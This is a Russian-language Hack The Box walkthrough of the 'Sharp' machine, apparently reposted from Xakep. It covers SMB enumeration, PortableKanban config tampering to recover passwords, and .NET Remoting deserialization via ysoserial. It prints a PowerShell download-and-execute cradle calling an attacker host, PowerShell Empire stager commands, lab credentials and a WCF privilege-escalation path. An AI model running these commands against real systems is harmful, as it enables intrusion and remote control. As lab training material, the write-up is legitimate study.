Хакер - HTB Sharp. Потрошим сервис на .NET через .NET Remoting Services

https://t.me/hacker_frei

RalfHacker

Содержание статьи

• Разведка
• Сканирование портов
• Перебор SMB
• Точка входа
• Закрепление
• Повышение привилегий

В этой статье я покажу, как экс­плу­ати­ровать уяз­вимость в .NET Remoting Services, а затем мы получим управле­ние хос­том с помощью фрей­мвор­ка PowerShell Empire. А полиго­ном нам пос­лужит машина Sharp с пло­щад­ки Hack The Box. Ее заяв­ленный уро­вень слож­ности — Hard, поэто­му будет инте­рес­но!

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

Ад­рес нашей машины — 10.10.10.219, закиды­вай его в /etc/hosts, что­бы мож­но было обра­щать­ся к хос­ту по име­ни.

10.10.10.219 sharp.htb

Пер­вый шаг любой ата­ки — ска­ниро­вание пор­тов. Я обыч­но выпол­няю его вот таким неболь­шим скрип­том. Он дела­ет два про­хода: сна­чала по всем пор­там, затем с исполь­зовани­ем скрип­тов (опция -A) — по тем, где что‑то обна­ружи­лось. Это поз­воля­ет получить под­робный спи­сок сер­висов, работа­ющих на уда­лен­ном хос­те.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Как это обыч­но быва­ет на машинах с Windows, в резуль­тате ска­ниро­вания име­ем мно­го откры­тых пор­тов:

• 135 — MSRPC, служ­ба уда­лен­ного вызова про­цедур;
• 139 — служ­ба имен NetBIOS;
• 445 — SMB;
• 5985 — WinRM, служ­ба уда­лен­ного управле­ния;
• 8888 и 8889 — спе­цифи­кация .NET Message Framing.

Как видишь, здесь нет веб‑сер­вера или каких‑то дру­гих сер­висов, которые бы пре­дос­тавля­ли широкое поле для про­верок и поис­ка учет­ных дан­ных. А зна­чит, у нас все­го два даль­нейших век­тора: тест без учет­ных дан­ных (через ано­ним­ный дос­туп) и, если ничего не получит­ся, брут­форс учет­ки.

Перебор SMB

Пер­вым делом про­веря­ем, что мож­но най­ти на шаре SMB. Находим общую дирек­торию kanban, которая дос­тупна без авто­риза­ции. С помощью SMBMap сра­зу прос­матри­ваем рекур­сивно все содер­жимое (опция -R):

smbmap -H sharp.htb

smbmap -H sharp.htb -R kanban

Фай­лов очень мно­го, и удоб­нее ана­лизи­ровать их локаль­но, поэто­му я под­клю­чил­ся к обще­му ресур­су через про­вод­ник и ско­пиро­вал все содер­жимое катало­га на локаль­ный хост.

По­хоже, перед нами какое‑то при­ложе­ние для Windows. Сре­ди фай­лов наш­лось руководс­тво поль­зовате­ля, это нам на руку. А в фай­ле PortableKanban.pk3 находим учет­ные дан­ные двух поль­зовате­лей. Их пароли ока­зались зашиф­рованы. Для прос­мотра фай­лов в фор­мате JSON в тер­минале советую исполь­зовать ути­литу jq, которая поз­воля­ет в два сче­та пар­сить раз­метку и вытяги­вать нуж­ные дан­ные.

cat PortableKanban.pk3 | jq

ТОЧКА ВХОДА

Пе­рей­дем на машину с Windows (я обыч­но работаю в Linux) и пос­мотрим, что нам даст запуск при­ложе­ния. Пер­вым делом оно нас про­информи­рует, что по умол­чанию пароль для адми­нис­тра­тора пус­той.

Тут приш­ла идея изме­нить сами фай­лы кон­фигура­ции прог­раммы, так как циф­ровая под­пись отсутс­тву­ет и при­ложе­ние не смо­жет про­верить целос­тность содер­жащих­ся в кон­фиге дан­ных. Сох­раним фай­лы кон­фигура­ции перед их изме­нени­ем.

Сна­чала уда­лим файл с раз­решени­ем md5, а потом убе­рем в двух оставших­ся фай­лах кон­фигура­ции пароль адми­нис­тра­тора по клю­чу EncryptedPassword. Теперь мы можем успешно авто­ризо­вать­ся как Administrator с пус­тым паролем.

Сто­ит хорошень­ко изу­чить при­ложе­ние, так как в нем могут най­тись записи с кри­тичес­кими дан­ными или еще какая‑нибудь полез­ная информа­ция. К при­меру, перей­дя в нас­трой­ки, мы видим спи­сок всех зарегис­три­рован­ных в прог­рамме поль­зовате­лей (те же, что и в кон­фиге). Что еще более важ­но, мы можем пос­мотреть пароль в откры­том виде, прос­то сняв галоч­ку. Пус­тое поле пароля у адми­нис­тра­тора сви­детель­ству­ет о том, что это рас­шифро­ван­ный пароль из кон­фига. Так мы узна­ем пароль поль­зовате­ля lars.

По­луча­ется, мы можем рас­шифро­вать пароли из кон­фига. Давай вос­ста­новим и пароль адми­на — он еще может при­годить­ся. Вос­ста­нав­лива­ем сох­ранен­ные кон­фиги и меня­ем роль (ключ Role) извес­тно­го нам поль­зовате­ля lars c User на Admin. Успешно авто­ризу­емся (ведь пароль мы уже зна­ем) и уже зна­комым нам спо­собом получа­ем пасс адми­нис­тра­тора.

Те­перь у нас уже есть кое‑какие учет­ные дан­ные, и мы можем поп­робовать под­клю­чить­ся к извес­тным нам служ­бам. Сно­ва начина­ем с SMB и узна­ем, что от име­ни поль­зовате­ля lars нам дос­тупна новая дирек­тория — dev. Сра­зу рекур­сивно прос­мотрим все содер­жимое.

smbmap -H sharp.htb -u lars -p 'G123HHrth234gRG'

smbmap -H sharp.htb -u lars -p 'G123HHrth234gRG' -R dev

В най­ден­ной дирек­тории видим запис­ку и три исполня­емых фай­ла, один из которых — биб­лиоте­ка с говоря­щим наз­вани­ем RemotingLibrary.dll. Я сно­ва под­клю­чил­ся через про­вод­ник и сох­ранил все содер­жимое на локаль­ный хост. В запис­ке содер­жится спи­сок задач, где ска­зано о гря­дущем перено­се .NET на WCF и добав­лении валида­ции вход­ных дан­ных.

По­доб­ные упо­мина­ния очень полез­ны, так как теперь мы зна­ем, что ввод не филь­тру­ется, и в этом зак­люча­ется даль­нейший век­тор ата­ки. Что очень важ­но, при­ложе­ние написа­но на C#, поэто­му перено­сим фай­лы на машину с Windows и деком­пилиру­ем с помощью dnSpy, начиная, конеч­но же, с кли­ента. Как вид­но в стро­ке 15 деком­пилиро­ван­ного кода, при­ложе­ние отве­чает на пор­те 8888. А стро­ки 16 и 17 содер­жат учет­ные дан­ные для под­клю­чения, которое обес­печива­ется за счет исполь­зования System.Runtime.Remoting.Channels.Tcp.

У меня уже был подоб­ный опыт, поэто­му я догады­вал­ся, какую уяз­вимость при­дет­ся экс­плу­ати­ровать. Речь о багах CVE-2014-1806 (недос­таточ­ное огра­ниче­ние на дос­туп к памяти) и CVE-2014-4149 (отсутс­твие про­вер­ки TypeFilterLevel). В экс­плу­ата­ции нам поможет экс­пло­ит Джей­мса Фор­шоу.

ЗАКРЕПЛЕНИЕ

Прис­тупим к экс­плу­ата­ции. Сна­чала сге­нери­руем наг­рузку‑дроп­пер, которая будет выпол­нять основную наг­рузку. В качес­тве наг­рузки дроп­пера исполь­зуем однос­троч­ник на PowerShell, который заг­рузит c нашего хос­та код на PowerShell и выпол­нит его.

IEX(new-object net.webclient).downloadstring('http://10.10.14.73:8888/mt.ps1')

Этот код нуж­но сери­али­зовать опре­делен­ным спо­собом, для чего будем исполь­зовать инс­тру­мент ysoserial. В парамет­рах ука­зыва­ем кодиров­ку Base64 (параметр -o) и тип гад­жета TypeConfuseDelegate (параметр -g).

.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.73:8888/mt.ps1')"

Те­перь нуж­но сге­нери­ровать стей­джер, который будет заг­ружен и выпол­нен. Я исполь­зовал быс­тро набира­ющий обо­роты (спа­сибо BC-Security) фрей­мворк PowerShell Empire.

Сна­чала запус­тим лис­тенер HTTP, а потом сге­нери­руем для него стей­джер. Лис­тенеру зада­ем имя, а так­же локаль­ные порт и адрес для соеди­нения. Стей­дже­ру зада­ем запущен­ный лис­тенер, ука­зыва­ем параметр обфуска­ции и путь к фай­лу, куда будет сох­ранен заг­рузчик для стей­дже­ра.

uselistener

set Name [имя листенера]

set Host [IP-адрес]

set Port [порт]

execute

usestager window/launcher_bat

set Listener [имя листенера]

set OutFile [файл для сохранения]

set Obfuscate True

execute

Под­готов­ку завер­шаем запус­ком локаль­ного веб‑сер­вера, к при­меру python3 (в дирек­тории с наг­рузкой PowerShell Empire).

python3 -m http.server 8888

Те­перь отправ­ляем наг­рузку (с машины с Windows), которую получи­ли c помощью ysoserial. В окне Empire уви­дим сооб­щение о соз­данном аген­те, а зна­чит, ата­ка завер­шена и мы получи­ли кон­троль над машиной (имя аген­та даль­ше будет отли­чать­ся, так как приш­лось вос­ста­нав­ливать соеди­нение пос­ле сбро­са машины).

ExploitRemotingService.exe -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/ SecretSharpDebugApplicationEndpoint raw AAEAAAD/////AQ...

По­лучим управле­ние над аген­том коман­дой interact, узна­ем информа­цию о поль­зовате­ле (whoami /all) и заберем флаг поль­зовате­ля.

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Ос­мотрев­шись в поль­зователь­ском прос­транс­тве, в дирек­тории Documents находим про­ект wcf, написан­ный на C#.

Заг­ружа­ем его на локаль­ный хост для изу­чения. В кли­енте видим под­клю­чение на локаль­ный порт 8889 (стро­ка 11), пос­ле чего отправ­ляют­ся некото­рые коман­ды (стро­ки 14–16).

В исходном коде этих команд находим еще одну — InvokePowershell (стро­ка 51).

Из изу­чения исходно­го кода метода InvokePowershell уже в сер­верной час­ти при­ложе­ния ста­новит­ся понят­но, что тут есть воз­можность выпол­нения команд PowerShell на уда­лен­ном хос­те (стро­ки 131–134).

Ес­ли пос­мотреть спи­сок прос­лушива­емых пор­тов (коман­да netstat -a) и работа­ющих про­цес­сов (коман­да tasklist) на уда­лен­ной машине, мож­но сде­лать вывод, что сер­верная часть при­ложе­ния в дан­ный момент работа­ет, при­чем от име­ни адми­нис­тра­тора.

Да­вай добавим в код кли­ента еще одну коман­ду — InvokePowershell (стро­ка 17), что поз­волит уже зна­комой нам коман­дой заг­рузить на сер­вер и выпол­нить еще один стей­джер Empire. Так мы получим новую сес­сию — на этот раз админ­скую!

Ос­талось соз­дать новые лис­тенер и стей­джер PowerShell Empire.

uselistener

set Name [имя листенера]

set Host [IP-адрес]

set Port [порт]

execute

usestager window/launcher_bat

set Listener [имя листенера]

set OutFile [файл для сохранения]

set Obfuscate True

execute

Ког­да все готово, ком­пилиру­ем изме­нен­ный код кли­ента (я это делал в Visual Studio 2019) и коман­дой upload фрей­мвор­ка Empire заг­ружа­ем ито­говый исполня­емый файл на уда­лен­ный хост, пос­ле чего прос­то выпол­няем.

В окне Empire сра­зу соз­дает­ся новый агент, но уже при­виле­гиро­ван­ный (о чем нам говорит звез­дочка перед име­нем учет­ной записи).

Мы зах­ватили машину и име­ем над ней пол­ный кон­троль.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei